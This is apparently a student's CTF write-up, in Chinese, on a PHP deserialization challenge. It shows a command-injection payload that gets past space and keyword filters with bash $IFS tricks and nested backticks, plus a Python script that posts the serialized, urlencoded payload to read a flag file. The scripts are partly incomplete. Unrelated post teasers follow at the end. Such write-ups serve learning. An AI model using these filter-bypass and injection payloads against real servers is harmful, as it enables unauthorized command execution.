第一題略(不要問我為什麼emmmm
基本payload被構造好以後,接下來就開始想怎麼繞過
眼癌患者注意正則匹配裡還過濾了空格,所以想方法繞過
google一下發現bash命令繞過空格的方法很多(環境變數ifs/重定向都可)
$ , $ifs$9 , <
諸如此類,這裡選用$,所以payload變成echo`cat$flag.php`
因為還涉及反序列化,所以要先把payload變成序列化後的亞子
$payload = new come("danger",array("`cat\$flflag.phpag.php`"));
echo serialize($payload)."\n";
echo urlencode(serialize($payload))."\n";
注意urlencode很重要!很重要!很重要!(這也是記錄這份wp最大的原因,編碼真的是坑)
解釋一下why,拿echo的兩個字串分別跑一下下面的指令碼看看結果有什麼不一樣
from urllib.parse import unquote
from urllib.parse import urlencode
data1 =
print(data1)
data2 = flflag.phpag.php`";}} '}
data2 = urlencode(data)\
print(data2)
執行結果如下:
注意到如果直接複製php頁面返回的未urlencode的序列化字串,再在python中進行urlencode,則有了%00的丟失
反觀如果在php裡就直接進行urlencode,則取回的字串完整,再在python中unquote,仍保留了\x00
所以這是乙個很重要的點
btw為什麼平時做的有些反序列化的題不需要這些操作也能成功拿到flag呢?
因為本題裡的類成員大多為private,所以會在字串中摻入%00,而%00較為特殊,就導致了如果不在php裡進行urlencode就會gg的後果
下面直接用構造好的payload進行發包(要注意本題第二個flag在原始碼裡,所以要print的是content而不是text,親測print text只有孤零零乙個之前的flag)
拿到第二個flag!
這裡附上最後一步的python指令碼:
import requests
from urllib.parse import unquote
from urllib.parse import urlencode
url = ""
data1 =
print(data1)
# data1完整payload,所以要在php裡就先進行urlencode
data2 = flflag.phpag.php`";}}'}
data2 = urlencode(data2)
print(data2)
# data2缺少%00,錯誤payload
r = requests.post(url, data = data1)
# print(r.text) text缺失資訊
print(r.content)
最大的坑在編碼問題,也是不夠熟練的原因qaq,大二上還是要繼續加油鴨 極光網安實驗室web組考核WP
開啟連線後看到登陸頁面,第一反應是sql注入,試過幾下之後才在原始碼中看到了hint base64解密為 admin 猜測為username,抓包扔進bp進行爆破,用bp自帶的字典就拿到了密碼 拿到了第乙個flag並跳轉到乙個檔案上傳頁面 抓包,傳入php檔案並修改檔案型別發現上傳成功,於是傳入一句...
實驗室每日一題wp
拿到隊友的題目 太簡單別罵我 多個不同型別的檔案,首先都開啟看看,以方便得知做題順序 key是解另乙個加密的another key檔案,裡面的解jpg,ok,現在大體順序清楚了 開始進入正題 1.分析key.txt 內容為 chikenhead pw1tsdaospwsrnoasdosr 經過嘗試是...
實驗室吃飯記賬系統web
不得不說,生活驅動學習啊。因為實驗室只有一張卡可以去教職工食堂吃飯,所以大家都共用一張卡,於是記賬就成了乙個不可避免的問題。之前都是簡單記紙上,經常容易忘記記賬而且算起賬來很麻煩,所以突然想到,我們都是要搞it的人啊,結合最近在學的python,就想著用python搞個web伺服器來記賬。說幹就幹 ...